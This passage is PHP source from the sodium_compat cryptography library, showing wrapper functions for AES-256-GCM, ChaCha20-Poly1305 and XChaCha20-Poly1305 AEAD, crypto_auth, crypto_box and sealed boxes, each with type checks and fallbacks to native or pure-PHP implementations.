     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 8 bytes
     * @param string $key        Encryption key
     *
     * @return string|bool       The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aes256gcm_decrypt(
        $ciphertext = &#039;&#039;,
        $assocData = &#039;&#039;,
        $nonce = &#039;&#039;,
        #[\SensitiveParameter]
        $key = &#039;&#039;
    ) {
        if (!self::crypto_aead_aes256gcm_is_available()) {
            throw new SodiumException(&#039;AES-256-GCM is not available&#039;);
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) {
            throw new SodiumException(&#039;Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) {
            throw new SodiumException(&#039;Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) &lt; self::CRYPTO_AEAD_AES256GCM_ABYTES) {
            throw new SodiumException(&#039;Message must be at least CRYPTO_AEAD_AES256GCM_ABYTES long&#039;);
        }
        if (!extension_loaded(&#039;openssl&#039;)) {
            throw new SodiumException(&#039;The OpenSSL extension is not installed&#039;);
        }
        if (!is_callable(&#039;openssl_decrypt&#039;)) {
            throw new SodiumException(&#039;The OpenSSL extension is not installed, or openssl_decrypt() is not available&#039;);
        }

        /** @var string $ctext */
        $ctext = ParagonIE_Sodium_Core_Util::substr($ciphertext, 0, -self::CRYPTO_AEAD_AES256GCM_ABYTES);
        /** @var string $authTag */
        $authTag = ParagonIE_Sodium_Core_Util::substr($ciphertext, -self::CRYPTO_AEAD_AES256GCM_ABYTES, 16);
        return openssl_decrypt(
            $ctext,
            &#039;aes-256-gcm&#039;,
            $key,
            OPENSSL_RAW_DATA,
            $nonce,
            $authTag,
            $assocData
        );
    }

    /**
     * Authenticated Encryption with Associated Data: Encryption
     *
     * Algorithm:
     *     AES-256-GCM
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 8 bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with a 16-byte GCM message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_aes256gcm_encrypt(
        #[\SensitiveParameter]
        $plaintext = &#039;&#039;,
        $assocData = &#039;&#039;,
        $nonce = &#039;&#039;,
        #[\SensitiveParameter]
        $key = &#039;&#039;
    ) {
        if (!self::crypto_aead_aes256gcm_is_available()) {
            throw new SodiumException(&#039;AES-256-GCM is not available&#039;);
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) {
            throw new SodiumException(&#039;Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) {
            throw new SodiumException(&#039;Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long&#039;);
        }

        if (!extension_loaded(&#039;openssl&#039;)) {
            throw new SodiumException(&#039;The OpenSSL extension is not installed&#039;);
        }
        if (!is_callable(&#039;openssl_encrypt&#039;)) {
            throw new SodiumException(&#039;The OpenSSL extension is not installed, or openssl_encrypt() is not available&#039;);
        }

        $authTag = &#039;&#039;;
        $ciphertext = openssl_encrypt(
            $plaintext,
            &#039;aes-256-gcm&#039;,
            $key,
            OPENSSL_RAW_DATA,
            $nonce,
            $authTag,
            $assocData
        );
        return $ciphertext . $authTag;
    }

    /**
     * Return a secure random key for use with the AES-256-GCM
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_aes256gcm_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_AES256GCM_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 8 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_chacha20poly1305_decrypt(
        $ciphertext = &#039;&#039;,
        $assocData = &#039;&#039;,
        $nonce = &#039;&#039;,
        #[\SensitiveParameter]
        $key = &#039;&#039;
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) {
            throw new SodiumException(&#039;Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException(&#039;Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) &lt; self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
            throw new SodiumException(&#039;Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long&#039;);
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_aead_chacha20poly1305_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback(&#039;crypto_aead_chacha20poly1305_decrypt&#039;)) {
            return call_user_func(
                &#039;\\Sodium\\crypto_aead_chacha20poly1305_decrypt&#039;,
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 8 bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_chacha20poly1305_encrypt(
        #[\SensitiveParameter]
        $plaintext = &#039;&#039;,
        $assocData = &#039;&#039;,
        $nonce = &#039;&#039;,
        #[\SensitiveParameter]
        $key = &#039;&#039;
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) {
            throw new SodiumException(&#039;Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException(&#039;Key must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES long&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_aead_chacha20poly1305_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback(&#039;crypto_aead_chacha20poly1305_encrypt&#039;)) {
            return (string) call_user_func(
                &#039;\\Sodium\\crypto_aead_chacha20poly1305_encrypt&#039;,
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     * Regular mode uses a 64-bit random nonce with a 64-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 12 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_chacha20poly1305_ietf_decrypt(
        $ciphertext = &#039;&#039;,
        $assocData = &#039;&#039;,
        $nonce = &#039;&#039;,
        #[\SensitiveParameter]
        $key = &#039;&#039;
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException(&#039;Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException(&#039;Key must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) &lt; self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
            throw new SodiumException(&#039;Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES long&#039;);
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_aead_chacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback(&#039;crypto_aead_chacha20poly1305_ietf_decrypt&#039;)) {
            return call_user_func(
                &#039;\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt&#039;,
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the ChaCha20-Poly1305
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_chacha20poly1305_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     * Regular mode uses a 64-bit random nonce with a 64-bit counter.
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce Number to be used only Once; must be 8 bytes
     * @param string $key Encryption key
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_chacha20poly1305_ietf_encrypt(
        #[\SensitiveParameter]
        $plaintext = &#039;&#039;,
        $assocData = &#039;&#039;,
        $nonce = &#039;&#039;,
        #[\SensitiveParameter]
        $key = &#039;&#039;
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, &#039;string&#039;, 1);
        if (!is_null($assocData)) {
            ParagonIE_Sodium_Core_Util::declareScalarType($assocData, &#039;string&#039;, 2);
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException(&#039;Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException(&#039;Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_aead_chacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback(&#039;crypto_aead_chacha20poly1305_ietf_encrypt&#039;)) {
            return (string) call_user_func(
                &#039;\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt&#039;,
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the ChaCha20-Poly1305
     * symmetric AEAD interface. (IETF version)
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_chacha20poly1305_ietf_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     XChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext   Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData    Authenticated Associated Data (unencrypted)
     * @param string $nonce        Number to be used only Once; must be 8 bytes
     * @param string $key          Encryption key
     * @param bool   $dontFallback Don&#039;t fallback to ext/sodium
     *
     * @return string|bool         The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_xchacha20poly1305_ietf_decrypt(
        $ciphertext = &#039;&#039;,
        $assocData = &#039;&#039;,
        $nonce = &#039;&#039;,
        #[\SensitiveParameter]
        $key = &#039;&#039;,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, &#039;string&#039;, 1);
        if (!is_null($assocData)) {
            ParagonIE_Sodium_Core_Util::declareScalarType($assocData, &#039;string&#039;, 2);
        } else {
            $assocData = &#039;&#039;;
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException(&#039;Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
            throw new SodiumException(&#039;Key must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) &lt; self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES) {
            throw new SodiumException(&#039;Message must be at least CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES long&#039;);
        }
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            if (is_callable(&#039;sodium_crypto_aead_xchacha20poly1305_ietf_decrypt&#039;)) {
                return sodium_crypto_aead_xchacha20poly1305_ietf_decrypt(
                    $ciphertext,
                    $assocData,
                    $nonce,
                    $key
                );
            }
        }

        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     XChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $plaintext    Message to be encrypted
     * @param string $assocData    Authenticated Associated Data (unencrypted)
     * @param string $nonce        Number to be used only Once; must be 8 bytes
     * @param string $key          Encryption key
     * @param bool   $dontFallback Don&#039;t fallback to ext/sodium
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_xchacha20poly1305_ietf_encrypt(
        #[\SensitiveParameter]
        $plaintext = &#039;&#039;,
        $assocData = &#039;&#039;,
        $nonce = &#039;&#039;,
        #[\SensitiveParameter]
        $key = &#039;&#039;,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, &#039;string&#039;, 1);
        if (!is_null($assocData)) {
            ParagonIE_Sodium_Core_Util::declareScalarType($assocData, &#039;string&#039;, 2);
        } else {
            $assocData = &#039;&#039;;
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException(&#039;Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_NPUBBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
            throw new SodiumException(&#039;Key must be CRYPTO_AEAD_XCHACHA20POLY1305_KEYBYTES long&#039;);
        }
        if (self::useNewSodiumAPI() &amp;&amp; !$dontFallback) {
            if (is_callable(&#039;sodium_crypto_aead_xchacha20poly1305_ietf_encrypt&#039;)) {
                return sodium_crypto_aead_xchacha20poly1305_ietf_encrypt(
                    $plaintext,
                    $assocData,
                    $nonce,
                    $key
                );
            }
        }

        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the XChaCha20-Poly1305
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_xchacha20poly1305_ietf_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES);
    }

    /**
     * Authenticate a message. Uses symmetric-key cryptography.
     *
     * Algorithm:
     *     HMAC-SHA512-256. Which is HMAC-SHA-512 truncated to 256 bits.
     *     Not to be confused with HMAC-SHA-512/256 which would use the
     *     SHA-512/256 hash function (uses different initial parameters
     *     but still truncates to 256 bits to sidestep length-extension
     *     attacks).
     *
     * @param string $message Message to be authenticated
     * @param string $key Symmetric authentication key
     * @return string         Message authentication code
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_auth(
        $message,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_AUTH_KEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_auth($message, $key);
        }
        if (self::use_fallback(&#039;crypto_auth&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_auth&#039;, $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::auth($message, $key);
        }
        return ParagonIE_Sodium_Crypto::auth($message, $key);
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_auth_keygen()
    {
        return random_bytes(self::CRYPTO_AUTH_KEYBYTES);
    }

    /**
     * Verify the MAC of a message previously authenticated with crypto_auth.
     *
     * @param string $mac Message authentication code
     * @param string $message Message whose authenticity you are attempting to
     *                        verify (with a given MAC and key)
     * @param string $key Symmetric authentication key
     * @return bool           TRUE if authenticated, FALSE otherwise
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_auth_verify(
        $mac,
        $message,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($mac, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($mac) !== self::CRYPTO_AUTH_BYTES) {
            throw new SodiumException(&#039;Argument 1 must be CRYPTO_AUTH_BYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) {
            throw new SodiumException(&#039;Argument 3 must be CRYPTO_AUTH_KEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_auth_verify($mac, $message, $key);
        }
        if (self::use_fallback(&#039;crypto_auth_verify&#039;)) {
            return (bool) call_user_func(&#039;\\Sodium\\crypto_auth_verify&#039;, $mac, $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::auth_verify($mac, $message, $key);
        }
        return ParagonIE_Sodium_Crypto::auth_verify($mac, $message, $key);
    }

    /**
     * Authenticated asymmetric-key encryption. Both the sender and recipient
     * may decrypt messages.
     *
     * Algorithm: X25519-XSalsa20-Poly1305.
     *     X25519: Elliptic-Curve Diffie Hellman over Curve25519.
     *     XSalsa20: Extended-nonce variant of salsa20.
     *     Poyl1305: Polynomial MAC for one-time message authentication.
     *
     * @param string $plaintext The message to be encrypted
     * @param string $nonce A Number to only be used Once; must be 24 bytes
     * @param string $keypair Your secret key and your recipient&#039;s public key
     * @return string           Ciphertext with 16-byte Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box(
        $plaintext,
        $nonce,
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, &#039;string&#039;, 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_BOX_NONCEBYTES long.&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException(&#039;Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box($plaintext, $nonce, $keypair);
        }
        if (self::use_fallback(&#039;crypto_box&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_box&#039;, $plaintext, $nonce, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box($plaintext, $nonce, $keypair);
        }
        return ParagonIE_Sodium_Crypto::box($plaintext, $nonce, $keypair);
    }

    /**
     * Anonymous public-key encryption. Only the recipient may decrypt messages.
     *
     * Algorithm: X25519-XSalsa20-Poly1305, as with crypto_box.
     *     The sender&#039;s X25519 keypair is ephemeral.
     *     Nonce is generated from the BLAKE2b hash of both public keys.
     *
     * This provides ciphertext integrity.
     *
     * @param string $plaintext Message to be sealed
     * @param string $publicKey Your recipient&#039;s public key
     * @return string           Sealed message that only your recipient can
     *                          decrypt
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_seal(
        #[\SensitiveParameter]
        $plaintext,
        $publicKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, &#039;string&#039;, 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_seal($plaintext, $publicKey);
        }
        if (self::use_fallback(&#039;crypto_box_seal&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\crypto_box_seal&#039;, $plaintext, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seal($plaintext, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::box_seal($plaintext, $publicKey);
    }

    /**
     * Opens a message encrypted with crypto_box_seal(). Requires
     * the recipient&#039;s keypair (sk || pk) to decrypt successfully.
     *
     * This validates ciphertext integrity.
     *
     * @param string $ciphertext Sealed message to be opened
     * @param string $keypair    Your crypto_box keypair
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_box_seal_open(
        $ciphertext,
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, &#039;string&#039;, 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException(&#039;Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.&#039;);
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_box_seal_open($ciphertext, $keypair);
        }
        if (self::use_fallback(&#039;crypto_box_seal_open&#039;)) {
